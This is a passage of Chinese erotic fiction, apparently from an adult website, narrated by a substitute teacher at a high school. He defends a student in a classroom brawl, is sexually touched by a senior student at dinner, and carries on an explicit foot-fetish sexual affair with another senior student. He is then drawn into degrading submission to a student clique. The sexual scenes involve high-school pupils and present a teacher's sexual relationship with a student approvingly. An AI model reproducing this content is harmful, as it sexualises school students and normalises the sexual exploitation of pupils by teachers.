★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:MSSPW3.COM 点击收藏,以免迷路哦!

【我是代课老师】【作者:不详】

  “孩儿们,请把你们的注意力集中到这里!”我在自己的鼻子前竖起一只食指———上课铃已经响了5分钟了,可教室里仍然乱哄哄的,象一个牲口圈似的,哪象个毕业班,尤其是这个班,真是名副其实的特殊班,它的特殊在于学生的成绩差,同时家境都相当优越,优越得的程度和他们的成绩成反比。
“陈老师病了,这个学期的语文课我来代他!”我真佩服那个老陈头病得是时候,把这个烂摊子扔给了我,看着下面的红男绿女,几乎没有一个长得象是个学生,个顶个的名牌服装,个顶个的性格骨感,整个高三。三班,就我一人象个学生——嘁!这帮新新人类。
我不和他们罗嗦,自顾自开始讲课。
如果说美国人个性自由,崇尚民主的话,那么,看看我的课堂,他们一定会自愧不如。
我仰着脸讲课,他们仰着脸说话,甚至要把腿翘在桌子上,似乎是拿腿在听课,而腿现在却听累了;也有一对青春豆还没长完的小狗男女在亲亲我我;更多的是在大张旗鼓的讲话,似乎是国会议员的演说,兴致昂扬,几乎都要把我勾得伸脖子听两句,传纸条在这里都算是小儿科,有个小子还算安静,一直趴在桌子上做黄梁梦,口水他妈的都要流出来了。还有一些在看闲书,写情书,我唯一的听众好象是我自己。
我的课是讲不好了,但涵养却不能没有,象大学里好脾气的教授一样,只要他们不在我脑袋上吐痰,我是不会睬他们的。
教室临窗的女孩引起了我的注意,不止是她格外的美丽,而是她在听我的课,尽管她坐在后排,可神情很专注地看着我,不时还展颜一笑——嘿!这到是稀罕事,我的课还有如此魅力,窃喜之余只略向她瞥了一眼,我那职业化的眼睛立刻看到她戴着接收手机的耳麦,樱唇微翕,显然是在和人聊天——嘿嘿!我大失所望——看看压在讲台上的座次表名单,那个临窗的女孩叫婴喃。
下课的铃总算响了,对学生对我都是一种解脱,他们这时格外的遵守纪律,我是指遵守下课的纪律,一部分小子发一声喊嗷的一嗓子冲了出去,那劲头好象是在世界杯上踢进了几个球而急着宣泄。
教学的日子很平常,唯一可提的是那个叫婴喃的女生,她的模样常让我想起,她们有几分神情上的相似,而且婴喃的白袜总引起我对少年时期往事的回忆。但我基本和她没搭过话,在学校碰面,她只冲我矜持地点点头,我后来才知道她是本校的校花,而且和几个关系密切且相貌都很漂亮的女生结成了小帮派。在我任教的学校,这样的小帮小派还有不少,而且有的还和外面具有黑社会性质的团体有来往。几年前,这里出了一个叫刑天的学生,居然和留在大陆的青红帮的一个分支蓝田社有很深的瓜葛,因为他的父亲是首都军区的一个要人,所以本地的公安没把他怎样,但有一次他重创了一个外校学生后就渐渐不知所终了。
因为考试的日子临近,班上的纪律少微好了些,但我上课还没多久就看到几个身材魁梧的男人在窗外探头探脑。这不仅引起了我的注意更使学生有些恐慌,要令这帮学生恐慌是不容易的,我有些纳罕。不多一会,正当我念李白的“将进酒”时,他们突然闯了进来。
“婴丫头,你给我出来”他们中唯一一个细皮嫩肉的小白脸声嘶力竭。
我这时不得不中断“岑夫子,丹丘生,将进酒,杯莫停……”这是李白的诗自诞生以来遭到的最大亵渎,冷冷地看了他们一眼,说道:“各位,这是教室,请出去。”
“婴喃,你个狗丫头,你丫的也忒狠点了吧!给我滚出来!”如果不是我横在过道,他们几乎要冲向后排的婴喃.
我把书卷起来,点住他的肩膀,一字一顿地说:“你——给——我——出——去!”
那小白脸愣了一下,涨红着脸,做出一副痞子样:“你他姥姥的一边去,我和婴丫头结了梁子了,今儿就是来算帐的,你是干吗的,谁的裤裆没系好,怎把你给露出来了!”他身后的几个汉子凶神般地瞅着我,似乎我能在他们的目光下被化为齑粉。
“你横什么横,不就是带了两人么?也不看看你那马子的德行,还替她出头!”声音俏得很,是婴喃,她从从容容地走了过来,象是这场面见多了。台下的学生一个个噤若寒蝉,目瞪口呆地看着这一幕。
“操你姥姥的,我抽你丫的!”小白脸要动手。
“站住!敢上前一步,我废了你!”我沉声喝道。学生们不认真听课是他们的事,但他们有了事我袖手旁观却于心不忍,卜飞恩师对江湖道义的训导使我不敢忘记,再则,我的好涵养还没练到有人可以在我的课堂上对我的学生动手。
“呵!一个破教书的,扯摆什么呀!”小白脸伸手推我,我轻轻避开,不料身后的婴喃却飞起一脚跺在小白脸的腰上。我不禁一怔,她这一脚虚浮无力,显然不是个练家子,但一个女孩子如此强胜到让我吃了一惊。
同来的那四个肌肉发达的汉子把哎呀乱叫的小白脸扶在一边,其中一个穿甲克的对我说:“我们不是来惹事的,我兄弟和这个丫头有的误会,带她出去聊聊,解释一下就算了。”
这话听来还算江湖,绵里藏针。
“你们不是来找事的,可我姓黄的也不是个怕事的主!”我冷冷地看着他。
“那是!那是!老师是为学生好,这样的老师现在不多了……”
甲克杉满脸堆笑,猛然间脸色变恶,一拧身一个左钩拳向我狠击过来,我们相距极近,无处可避,当下使了一个太极拳中的“卸”字诀,书本搭住他的拳背,把力量引向一旁,随即反手一记“反弹琵琶”正打在他的鼻梁上,另三个汉子大吼一声,插身来袭,对付这样的莽汉不让他们知道厉害是很难善罢的,我身法连变,一记“降狮伏虎”拳打侧面那个胖汉,膝攻正面来袭的壮汉,力道浑厚,使的全是重手法,出手地顷刻便让他们委顿在地,第三个汉子犹豫了一下,不敢再上,甲克杉还欲反击,被我拿住他右臂“中府穴”,尺骨反扭,立刻呲牙裂嘴嗷的一声趴在了地上,婴喃举脚向甲克杉的头上跺去,这丫头可够狠的,她穿的是硬底短靴,靴口露出一截白色的棉袜,这一脚下去还不把这家伙弄得生活不能自理,我飞脚轻格,她的脚就落偏了,正跺在甲克杉的背上,虽则如此,那家伙杀猪般嚎了起来,刚才的凶悍早就无影无踪了。
婴喃横了我一眼,继续抬腿要踹。我一把拦住:“行了,你还能要他们的命?”
“不要你管!”她美丽的脸上一副满不在乎的样子。在我以为,漂亮的女孩子打打杀杀的,就不美了,但婴喃似乎不同,她打人的架势虽然不专业,可另有一种美感。
那几个寻衅的汉子共那个小白脸见势就向外跑,连一句场面话都没敢留,狼狈逃出。
教室里出奇的安静,是我所见到的最好的纪律,婴喃拍拍我的肩膀:“看不出来啊,你还行!”就回到自己的位置上了。我面色平静,若无其事,继续讲我的课,对于学生在外校结怨、惹事的我没有兴趣管,我又不是班主任,学生只要不在我的课堂上太过分就行,至于校外的事,我更懒得过问。
“古来圣贤皆寂寞,唯有饮者留其名……”我朗朗而诵,学生面面相觑……这样的情景我到真成了孤独的圣贤。
“五花马,千金裘,与尔将出换美酒!李白的豪放就在于此啊!同学们,英雄本色就在于快意恩仇……”学生听我突然提起英雄本色,不约而同来了兴致,“现代的英雄模式要比中国古代的民主和平等,你看李白这样仗剑出游的人物,很少提及他的女人,喝酒只是和男人的事,而现代的英雄则很重情谊,即和女人的感情、和朋友的友谊,越有男人味的英雄都有自己心爱的女人,而且这女人往往很漂亮。李白不提他的妻子,看来在这方面很不理想,他说桃花潭水深千尺,不及王伦送我情,难道他的妻子就和他无情无义么?只有朋友没有女人是不完整的英雄……”我觉得可能跑题了,就重把思路转到《将进酒》的“酒”上“酒是粮食精,越喝越年轻——酒量大的人并不见得会喝酒,会喝酒的人并不见的酒量大。会喝在于能体会到喝酒的乐趣和意境,如果酒量如牛却喝得烂醉,当街撒尿,呕吐头痛又有什么乐趣可言,人如果被酒控制了无疑是把握不住自己,酒如果被人控制了那肯定是件妙事,李太白号称”酒仙“其实并不见得会喝酒,他的酒里愁绪太多,仕途的不得意才寄情于酒,结果这位一代诗圣醉酒捞月,溺水而亡——当然,这种传闻或许不确切,有史说他是病死的,我看也多是死与酒精肝,所以无论什么嗜好都要有个度,纵情使性,放流欲望,结果只是自己遭殃。”讲到这里的时候,班主任侯老师在窗外向我招手,只得放放下手中的课本:“同学们自己把这首诗背会,我要检查。”
当我走出教室的时候,身后立刻沸沸扬扬起来:“……古来圣贤皆寂寞,唯有饮者留其名……喝喝喝!”
在办公室,我看到候老师一脸的沉重。
“唉,你看这学生,真是没法办,你看看吧!黄老师。”她把一叠资料递到我手里,扫了一眼之后,我不禁吃了一惊。
材料是一个女孩子写的,字迹娟秀,只是字里行间透着哀怨和恐惧,大意如下:那一天对我来说真是一场恶梦,我想起这件事就感到害怕,可我又有什么办法,她们在学校一直如此,没有不避让她们的,我在这里只想好好读书,不想惹谁,可她们为什么这样对我呢?白康一直想和我好,但我从未同意,他是被开除的,我怎么会喜欢他呢?可她们中的丁琼硬说是我夺走了白康,那一天,三班的婴喃和她还有二班的林琳把我拉到体操室,先是骂我,我不睬她们,她们就又打我,踢我,还,还罚我跪下,让我给她们磕头求饶,向我脸上吐痰……我的脸都被打青了,在家里,父母多疼我啊,可在这里,真的,老师,事后我都不想活了,可我知道要是我死话我的父母一定会很难过的,白康见我脸上肿了就问我怎么回事,我没有对他说,我怕他会找社会上的人来对付丁琼她们,但后来不知怎么的,他还是知道了,他说他会替我出气的,我不要他替我出气,我只想让她们不要再欺负我了,另外,丁琼她们在社会上也有人,丁琼的父亲还是区公安分局的头头,谁敢惹他们啊,我虽然不喜欢白康,但也不希望他为我挨打,可现在我该怎么办呢,求求老师,帮帮我!
四班学生:容嫣“婴喃她们打人是上礼拜的事,这个叫容嫣的学生没敢对家里说实话,但婴喃和丁琼并没放过她,近来还不断的侮辱她,并让她——”侯老师迟疑了一下“她这才告诉了我们。你知道这班人可真不好带,你是新来的,学生对你都还尊敬——”我暗笑,学生什么时候尊敬过我,只不过是各不相扰吧!“——所以,这件事,我想由你出面解决。”侯老师这时才托出底牌。
妈的!也是个老狐狸,你是班主任,怎么把事推我头上。
“容嫣的父亲是区教委的一个领导,他还不知道容嫣的事,我想,我们应该把事情处理的好些,让学校面子好过。”侯老师补充道。
都是不好惹的主儿,我寻思,如果不是这个学校的特殊生太多,也不至于如此。
“婴喃有什么背景么?”我问。
“唔!她到没有,父母都是文艺工作者,不过很有能力,婴喃是这几个女孩的头,丁琼她们都听她的,她的性子也倔强的很,我很没办法”侯老师苦笑道“小黄,这次,算帮老大姐个忙!”
看到这位工作了几十年的老教育工作者眉宇间的无奈,我心中一软:“好吧!我尽量帮你做工作!”
放学时,我告诉婴喃,晚上我请她吃饭。她习以为常的样子“我可不去那些抵挡的地方。”
“王府餐厅吧!没什么档次,但很安静,那里的西餐还行。”
“想泡我么?可没那么容易!”婴喃嘟着嘴。
“你的追求者有一个连,能轮到我么!”我一副不介意的样子。要和她们这个年纪的人做思想工作简直是扯淡,和她们交成朋友,她们才有可能和你沟通。
“你开车接我吧!”婴喃甩给我一个地址,径自走了。她的态度虽然不冷不热,但我感觉得的出,她乐于和我接触,有着丰富的社会经验和人际交往的我还是看出了她这一点。
我是得开车接她,因为在王府餐厅就餐的没有不开车去的,那里根本就没有自行车的车位。
找一辆车并不算什么,晚上7点的时候,我开着从朋友那里借来的奔驰500把婴喃接到了王府餐厅,在幽雅流淌的钢琴曲中,我们来到了预定好的位置上,那里很幽静,是一个单独的两人餐桌。确切来说,我们绝不象一对师生,她穿着无袖,背后开着V字形的长米色长裙,若隐若现出两条修长的美腿,露脚跟的黑色小牛皮皮鞋,称出穿着光滑丝袜的脚后跟,精致得无懈可击,加上她那1米67的苗条身段,和我站在一起明显是一对品位高雅的恋人,我怎么也想不出这样的女孩子是怎么用恶劣手段对待那个叫容嫣的女生,如果侯老师看到我这样做思想工作,恐怕一定会骇得跌掉戴了三十年的老花镜的。
她没怎么要菜,只要了一份法式沙拉和墨西哥VS。虾片,饮料却要了不少,诸如“帝国之花”之类的昂贵货色。我想,这简单的几样,至少要一个普通教师当月的全部收入。
“你不必紧张,今天你帮了我,我结帐”她用纤美的玉指恰倒好处地握着刀叉,神情闲淡幽雅。
“今天能帮你,我就不是一般的老师”我呷了一口烈性的威廉二世。
“这能看得出!尽管我不喜欢老师,我还是要谢谢你!”婴喃的口气比威廉二世还要烈,尽管她是在谢我。
“你那车是借来的吧!”婴喃说“一辆车并不算什么,我随时都可以自己有!”我想我说的是真话,我的存折上可以买十辆这样的车。
“哼!隐藏得还挺深的,你的衣服可都是地摊货!”她白玉般的脖颈微仰了一下,也喝了一口威廉二世“你的女朋友看到我们在一起,不吃醋么!”
“我暂时还是自己管自己”我凝视着她漂亮的眸子。
“这也上你约我的原因吧!”她的话让我意外。
“和女人上过床么?”她带着几分调侃,微红的粉颊透着引诱。
“唔!……”我迟疑着,少年时的那段往事能叫和女人上过床么?“怎么谈这个问题——”
我下面几乎都要说,你还是个学生,怎么有这样的思想,可我硬生生地给憋住了,对这样的女孩说真是太老土了,就象劝妓女从良一样愚蠢,她会在心里嘲笑我的。
“不可以么,难道你见到漂亮女孩时,下面——不硬么?”她笑吟吟地看着我,我感到胯下一软,她竟脱了鞋子,用脚尖触了一下我的阴茎。
我浑身一震,不知所措。
她收回了脚:“我知道,不管哪一个男人,看见漂亮女孩都会心动的,我可以保证,刚才我如果把脚在你那宝贝的地方放一会,它肯定会硬起来的!”她脸上带着微笑,带着洞悉一切的微笑,带着能让男人倾倒的微笑,我简直不敢相信她是一个高三的女生,所以,这时的我有些惘然。
“你没有生气,也没有假道学地摆老师的谱,这很好!”她看了我一会,突然这样说“看来我们今天坐在一起是合适的。我是说做朋友挺合适的,你想做我的朋友么?”
我感到滑稽,不是我没有反应,而是我不知道该怎么反应,我这样一个人竟然面临一个丫头的挑战。虽然在江湖上我结识了不少人,社会经验同那些从学府直接出来的书虫有着根本的不同,可现在我发现,我低估了她这样年龄段的人,尤其是她的能力。这让我感到被动。我可是来做思想工作的!而她,却和我提上床的事,妈的,我感自己真可笑。
“你和容嫣有过节么?”我好容易把话题转了过来“今天那个小白脸是她的朋友吧!”
“我和容嫣到没什么,但她夺走了丁琼的朋友,当然,那个小子也是个混帐!我以后会收拾他的,所以我想让那个叫容嫣的知道,我们是学校最优秀的,她不应该冒犯!”婴喃的口气让我想起了《英雄本色》的一些片段。
“我们?我们指的是谁?最优秀,什么最优秀?”
“你以后会知道的。”
“恩——你打了容嫣?”我问“是的!我想这样不好,我要作到不用动手就让她看见我发抖,在我脚下哭泣!”婴喃冷冷地说,我隐约感到煞气。
“我说婴喃,不管你和容嫣有什么过节,这个事情就到此为止,好么?”我知道和她再多说都是废话,索性把话摊开了。
“你请我吃饭的目的就是这个?——”婴喃脸上带着冷笑,“也太让我失望了!”即而她又有几分嘲笑,“你不是喜欢上容嫣了吧?她可是许多男生的白雪公主!”
她的话大胆而放肆,我几乎都恼羞成怒。
“我不认识她!”我注视着婴喃“答应我,事情就到此为止!”
“那好吧!——我本以为你是要追求我,原来却是为了这个女孩,我答应你,不过你确实让我失望,以你的身手,做我的男朋友还基本可以,但现在——哼!”她突然抓起那杯琥珀色的威廉二世,兜头泼在了我的脸上,扬长而去。
我可以保证!好半天,好半天我才从懵懂中清醒过来,妈的,这叫什么事,莫名其妙!
我暴躁地跳了起来:“WAITER!WAITER!”
……那次和婴喃的谈话虽然让我狼狈不堪,但她很受信诺,从此不再骚扰容嫣,候老师一脸释然地说,还是黄老师会做工作,还是黄老师会做工作,令我哭笑不得。
想起婴喃的话我就感到好笑,我怎么会是喜欢容嫣呢?嗨!真不知他是怎么想的?
但不久,我就感觉到我错了,我对这个时代都有一个错误的认识,尽管我已经27岁,有着黑道、白道的社会经验,可我真的竟然爱上了容嫣,一个只有20岁的女孩。是的,我没法不爱她!她生就是让人疼爱的女孩,是每个男人梦中的白雪公主,如果一个男人不爱她简直就是罪过。我不愿犯这样的错误,所以我彻头彻尾地爱上了她,爱得一塌糊涂。
从见到她的第一眼,我就从灵魂深处爱上了她,被她的绝世无双给俘虏了,她的容貌不算美丽无比,甚至比不上婴喃,但她给我的感觉确实无与伦比的,虽然侯老师介绍她给我认识的时候有很多人在场,虽然她在鞠躬向我表示感谢的时候我深知师生间的距离,可我还是义无返顾地爱上了她。
更让人兴奋的是,她的感觉是和我一样的。在我们认识不久就双双证实了这一点,而且象所有的恋爱一样,我们很快从纯粹的情感恋爱转入到肉体的缠绵。我以前没有女友,那方面的欲望都是三陪给解决的,也正因此,我在床上的表现一点也不比那天在教室里展现的差,容嫣很喜欢我给她的感觉。我少年时期恋足的癖好也在她的身上得到了再次实现。
“佳!你会永远爱我么。”她用修长的双腿缠着我的脖子。
我赤身躺在宽大的席梦思上,享受着她双腿的温柔,“那当然了,我的宝贝!”
“你可不许欺负我,不然我不饶你的!”她娇嗔道,用脚尖踩着我的胸膛。她的腿脚可真白,我按耐不住地把她的纤纤玉足含在了嘴里,一个一个地吮吸舔舐。
她已经习惯了我这样,这也是我少年时遗留下的在性上的唯一嗜好,她能满足我,我对此总充满了感激。
“你要是敢欺负我,我就不给脚趾让你舔了!”容嫣微笑着,看着我贪婪的样子,她知道我对于她脚的渴望,在她达到高潮时,她常常用脚爱怜地抚着我的小弟弟,把我送到情欲的颠峰。对于在正常的性交中,她做不到这一点,所以在抱歉之余,她努力用脚来满足我。
我含着她的大脚趾,舌尖在趾甲背上爱抚搜索,倾吐柔情与爱慕。另一只手却伸到了容嫣的两胯之间,这使得她欢喜得紧紧夹住。要知道,我从少年时期,就在恩师卜灵的帮助下,对双手进行了特殊的训练,柔软、纤细、温暖,风一样平和,水一样灵动,气一样细腻,做为一个职业空空儿,不达到这个境界是不行的,尤其是在卜灵这样一个高手的熏陶下,我的双手,早已经被赋予了新的生命。在三年前和一个三陪女做爱时,我突然发现了这一点,我只用手,就让她在一夜间四次达到高潮。在后来的性生活中我藏匿了这一点,我要把我的手奉献给我心爱的女人,终于,奉献给了容嫣,我生命中的女人。
我只动了一下中指的关节,她就立刻发出滚烫的呻吟,她喜欢这样,喜欢我手指的进入,她献媚般地把另一条美丽的大腿向我伸来,用脚紧紧地压在我的阴茎上,直到它变的硬挺,她才感到欣慰。
我的每个指头都可以反扭到九十度,每一个手指都可以在顷刻间增长或缩短1个厘米的距离,这一个厘米在生活中是不起什么作用的,但在这里,在女人隐秘的部位,他的作用简直是神奇的!
容嫣把脚在我胯间蹭来蹭去,蹭掉了白色的短袜,用她好看匀称的脚趾飞快地来回挑逗我的阴茎,她知道,我会对此给予她更柔美贴切的回报。她的脚心有着丝质般的感觉,当它掠过我龟头的马眼时,我幸福得感觉犹如来到了天音齐奏的伊甸之园,她常在这时坏坏的移开她的脚,故意让我哀求她:“我的宝贝,我的好嫣嫣,用脚弄我的那里,求你了!”情急之中,我的手指惊悸般颤动,激得她喘息呻吟:“再来些,佳哥,再来些,把我弄舒服,好么?我会把脚脚给你的小弟弟吃的。”
通常她并不急着给我,她喜欢我的求饶,喜欢我这个男人因为她的脚而呻吟。在她感觉我的手指在花蕊内飞得迟钝了,她就会不失时机地把纤足伸到我的阴茎上,踩、揉、挑起,用脚把我的阴茎弄硬,对她来说,是很有成就感的。她很清楚地意识到这一点。
我们在一起都是快乐的,偶尔我不开心时,她就象个乖顺的小猫一样依偎在我身边,把她美丽的小脚伸给我看,并问我一些挑逗的话语“喜欢么,它们好看么?”那令人心悸绝美的脚形深深地吸引着我,在我把脸驯顺地贴在她的脚心上时,郁闷也就烟消云散了。
我们就这样赤裸裸地相互狂热地爱着。
学校一切都还照旧,唯一不同的是在我上课时,学生都在纪律上收敛了很多。
没人知道我和容嫣的事,作为一个善于找出别人隐藏的东西的专家,我也一样善于隐藏自己,那个叫白康的男孩因为没有为容嫣办好那件事情,也不好厚着脸来找容嫣,虽然容嫣仍有许多追求者,但这只能成为我们的烟雾弹。而婴喃似乎没把王府餐厅的事记在心里,她和许多正常的女生一样和我相处,这让我感到安慰,而她那洞悉一切的眼光又让我觉得她知道我和容嫣的事情,我虽然无所畏惧,但容嫣是个脆弱的女孩,我不想她因事情暴露而受到伤害,所以对凡涉及婴喃的事情都很小心。而侯老师因为我上次处理的圆满,竟不断地把婴喃的事告诉我,希望我能多管管这个学生,因为只有她在班上和社会上的各色人等有复杂的联系。
从侯老师那里我知道,婴喃因为父母的关系,和文艺圈里的很多经济人,明星相当熟,她和学校一班的丁琼、二班的林琳、郑乐结成了一个“美少女组合”,意图朝演义界发展,因为缺乏充足的条件,所以没有成功,而这个“组合”却没有解散,变成了“美少女社团”。
婴喃就是头儿,和外界来往仍然很密切,长长在晚上和京内知名度相当高的明星聚会,学校有不少长相稍微出众的女孩在“美少女社团”的邀请下能够和自己崇拜的明星聚餐,聊天,出游,所以,在女生的圈子里,能够被婴喃她们邀请是很不容易的,那首先是在相貌上的被肯定。
无论任何时期都有追星族,这些追星族造就了明星们的辉煌,这正如天空的星星之所以夺目,是因为许多不计其数的星星成了不再发光的死星,以黑色衬托了发光星星的闪亮。而我所在的学校学生都是追星族,狂热的不的了,而和一大批明星有联系的婴喃成了他们巴结的对象,一个不可得罪的人,一个人人要去讨好的人,怪不的她对王府餐厅的一切都了如指掌,对不该属于她的生活那么熟。侯老师不去招惹她的原因还在于她那两个上大学的女儿也恰恰是追星族,这一点,侯老师没有告诉我,是其他老师偷偷对我说的,对于这样一个又慈祥又狡猾的老人,我真不知道说她些什么好。
我并不吃惊于学生们的追星,而容嫣的追星却让我吃惊了,更吃惊的是她竟然要我和婴喃打个招呼,请婴喃帮她认识大名鼎鼎的AA歌星。
“你忘了她是怎么对付你的么?”我有些不快“如果不是在这样的工作环境里,我会一个一个要她们好看!”
“你会怎么样么?”容嫣撒娇地搂着我的脖子,用舌尖舔我的耳垂。
怎么样?想想也是,她们都是女人,我一个大老爷们,能暴打她们一通么!我哑然失笑:“我会让她们出丑的”
“怎样出丑吗?”
“就是这样!”我倏地离开了容嫣温暖软滑的身子。
她有些奇怪,蹙着眉头:“什么样子吗?”
我把双手从背后伸了出来,手里是容嫣的文胸!
“啊!你好坏么!大色狼!”容嫣又惊异又感到好笑。
“不过,我不想让你这样,我只想让婴喃介绍我认识AA”容嫣又从床上坐起来,把我揽在她的怀里。
“她们那样对你,你不恨她们么?”我很不解。
“以前恨的,现在不了。丁琼已经知道了事情的真象,是白康在搞鬼么,再说,她也是受害者。”容嫣善良地说。
“她们用那样的手段对付你,你还替她们说话!丁琼那样的女孩子怎么会受害,她的男朋友恐怕不止一个!”我对容嫣的善良大度感到愤然。
“我已经不生气了,你不要恼么,乖乖的,好么!”容嫣解开了上衣,把丰润的乳房贴在了我的脸颊上。
“她是你的学生,你去说说,她会同意帮我的。”容嫣用柔夷拂拭着我另一边脸。
“她可不是一般的学生!”我把嘴埋在她的乳尖上,小生声嘟囔着。
“没关系的么,帮帮我,好么,你不爱我了么!你去给她说说好么?”容嫣把着她的乳尖放在了我的嘴里。
在这样的情况下,只有没有头脑的男人才会拒绝。我自信很有头脑,但我还是拒绝地摇了一下头,我太了解婴喃了,虽然接触不多,但我知道那绝对不是一件简单的事。
容嫣沉默了一会,说:“你说过,你是我的好乖乖的,会帮我做一切的。”
我的脸色羞得绯红,我是说过这样的话,那是和她作爱时说的情话,而且当时,我正在舔舐她美丽的脚趾。
“可这次不一样的!”我固执地说。
“是么?”容嫣有些失望,她在我的额头上轻吻了一下“佳,或许你是对的。但你知道,我很喜欢AA的歌的!我真的很想见她。你说过,崇拜别人不是件好事情,可我还没你那样的年龄和丰富的人生经历,我只是个高三的学生么!”
我很爱容嫣,真不想让她失望,但……“侯老师都让婴喃帮她安排女儿见了好几个明星了,你开一次口,她是不会拒绝的。”容嫣在我耳边吐气如兰,饱满的乳房和樱唇在融化着我的防线。同时,容嫣正轻轻地提起玉腿,把赤裸的脚趾压在了我的裤裆上,只几下揉搓,我那玩意儿就鼓胀起来。
现在轮到我沉默了。
容嫣的脚趾很灵巧,她是一个有灵性的女孩,她知道怎么样让我高兴,牛仔裤拉链正被她的脚趾夹住,一点一点往下拉,我真怕她停住。
“它又在想我了”容嫣俏皮地说,用脚尖滑着我的内裤“你看,它多谗,想和我的脚趾拥抱!”
“你不想用脚趾让它振奋么?”我柔声问,舌尖开始舔容嫣的乳尖。
“它太不听话了,我的脚只给听话的孩子!”容嫣继续着我们的情话。
“它听话的,真的,很听话,安慰安慰它,好么?”
“那好吧!我听你的,佳!”容嫣用脚在我的内裤上打着圈圈。
“你能进去么?它急得厉害。”其实是我急的厉害。
容嫣的脚顺从地插进了我的内裤,在龟头触到她脚趾头的刹那,我的心象被羽毛挠了一下。
“我喜欢它,佳。”她用脚心踩住了硬起的阴茎,慢慢的往下压,我感到涨疼。
我把她的乳尖含的更紧了。
我虽然是一名不可多的的偷盗好手,但我的工夫还没练到能让阴茎弯曲自如,象我的手指那样大幅度的弯曲,尤其是在它硬挺的时候,所以,我很快感到了脚趾对我的压迫有些过了。
“能轻些么,它很怕你的!”我轻轻地说。
“不!我就要她怕我!”容嫣故意绷着小脸。脚下的力道使阴茎朝着一个不可能的方向弯曲。
我有些疼,“好宝贝,它怕你了,它都投降了,你快饶了它吧!”
容嫣笑吟吟地看着我,玉足的力量又开始增加。如果在阴茎没充血的情况下,这样的压迫算不上什么,偏偏我的阴茎在她的纤足下早已强硬无比。“它害怕我,还这么硬?我要它软起来!”容嫣蛮不讲理的神态。
“它怎么会软起来呢?它已经投降了,快饶了它吧!”
“那要求饶才算!”
“好!它求饶,它求饶!”
“不好玩么,不好玩么,我要你替它求饶!”容嫣玩心正浓。
“好,我求饶——容嫣姐姐,饶了我这个可怜虫吧!”
“不行,态度不诚恳么!”容嫣忍俊不禁,其实,她脚下的力道已经大有放松。
“那?——好容嫣姐姐,好容嫣姐姐,我投降了!”我的心里甜得发腻,这个时候男人的形象是一点没有了。
“不么,我要你叫我‘妈妈’,叫妈妈才饶你!”容嫣笑意更浓,看得出,这样作弄我使她开心。
我很爱她,没有理由不陪她开心。
“那么,好吧,妈——妈!”尽管我和她之间什么事都干了,可这句话叫出来后,还是感到脸烧的厉害。“叫我妈妈干吗?我可比你还小!”容嫣用修长的手指刮着我的脸。
“叫妈妈饶了我啊!”
“那——那也不行啊!乖儿子”她一边开心,一边用脚拨弄着我的阴茎,那无比的爽意和愉悦让我忘了自己身在何处“妈妈都叫了,还能怎么样呢?”我腻声问。
“要给我磕头求饶啊!”容嫣光滑的趾肚蹭着我的马眼。
“真的要磕头么?”我装着不情愿的样子,我不想让她感到我这么没有原则,事实上她让我干什么我都会去的。对于自己的爱人,跪下磕几个头算什么!
“是啊!要磕出响声来啊!”容嫣来真的了,她轻轻把我推下床。
跪在木地板上,看着美丽的容嫣,她的眼神是最有效的命令,我重重地磕了下去,在听到响声后,容嫣骇得跳了下来,心疼地抱着我:“傻孩子,你还真磕啊,你要是疼妈妈,就去找婴喃说说好么,让她安排一次。”
这次,盯着如花的容嫣,我没再犹豫,点了点头。
我希望,事情确如容嫣想象的那么简单。
“不行!没有这样的先例,她凭什么身份见AA。”
再次坐在王朝餐厅,婴喃直接回绝了我的意图,而且,今天她的态度显然不如上次,对于她来说,上次用酒泼我还算是对我的重视,今天,她几乎没正眼看我,不知道,我是怎么让她如此讨厌的,如果作为一个老师和她对话,我早就拂袖而去了。餐桌上是两份阿尔撒斯肥鹅肝,她的那份几乎没怎么动,不过这回我是不会让她把那东西也扣到我的头上的。
“只有我们少数的几个才可以随时见到。”婴喃呷了一口巴维而红酒“我是指参加了我们的才可以。事实上那个容嫣在今天早上也给我说过了,我已经告诉她条件了——她没告诉你么?”
我一怔:“没有,她没对我什么。我不知道她找过你的,她前天才说要我给你提提!”
婴喃失声笑了一下:“她当然不会告诉你,哈,她怎么会告诉你呢?”
“告诉我什么?”我直纳闷。
“哦!或许你们的关系还没进展到你为她做任何事的那一步。”
“你什么时候知道我和容嫣的事了?”我指的是师生恋。
“你以为好稀罕么,从最初我就知道,现在知道的更多罢了,有的还是容嫣今天早上告诉我的,她说你会为她努力的,会不惜一切帮她加入我们的,当然我告诉了加入社团的条件,单独对于她来说的条件,很明显,她没告诉你。”
这个单纯的容嫣啊,你都给婴喃说些什么呢?
“什么条件?”我问。
“哼!也很简单,——就是要你——跪下来!——求我们,当然,这也包括容嫣在内!她已经答应了,不知道你怎么想考虑。”婴喃倨傲地说。
“什么?”我大感震惊!
“这就是条件。你考虑一下”说完,婴喃开始很认真地吃盘里的鹅肝。
……不知道过了多久,也许很长时间,我还没理清自己混乱的头脑。时间还在婴喃呷酒声中流逝。
“那个女孩子简单地认为,你会为她做一切的,这真好笑!”
“她没说错!”我咬着牙。
“是么?”她不屑地耸耸肩。
沉默,长时间的沉默。
“我想,对于你这样的人来说,这样的选择作出答复是很难的——这样吧!我帮你一个忙。如果你不答应的话,就立刻走人。如果答应,那么,刚才我不小心掉了一片鹅肝,请你把它她捡起来吃掉,就算是认可。”
我没做声,脑子风车一样旋转,疯狂地旋转。
沉默,又是长时间的沉默。
“我想,我应该走了——”婴喃开始收拾她的坤包。
“等等!”我艰辛地吐出了两个字。
我的腰在向下弯,吃力地向下弯,好象身负千均!
先看到她的黑色高跟皮鞋,很性感的皮鞋,鞋边就是那块鹅肝。
我的手抖得厉害,从来都没有那么厉害地抖过,当我好不容易把那块鹅肝握在手里的时候,婴喃的皮鞋一下子踩住了我的手指,我的心很疼,很疼,没有反抗,只有承受。我听到了头上传来的格格笑声,在笑声中,我的手指被踩的更紧了。
当我从懵懂中清醒时,婴喃已经走了,留下的只是我手里的那块鹅肝和桌上的一张便笺:“明天中午,体操室。”
确切的的说,应当是体操室的一间独立的更衣室,只有四个更一柜,是婴喃和丁琼她们专门向校方租用的,这样独立的更衣室在体操室只有两间。
体操室多在上午和下午放学后开放,现在,则空无一人,学生们都放学回家了。
婴喃、林琳、郑乐都已经在了,丁琼还没到。
林琳、郑乐都不是我班的,在学校常看到她们,因为她两个同婴喃一样的漂亮出众,所以我很有印象,林琳一米六七的样子,样子很秀气,一袭“江南丽人”的白色长裙,赤脚穿着蓝色的布制浅口休闲鞋;郑乐是个活泼青春的样子,笑起来很甜,牛仔装束,脚下穿着奈克白色运动鞋;平常我们见面都是相视一笑,算是招呼,现在,我不知道如何向她们打招呼。
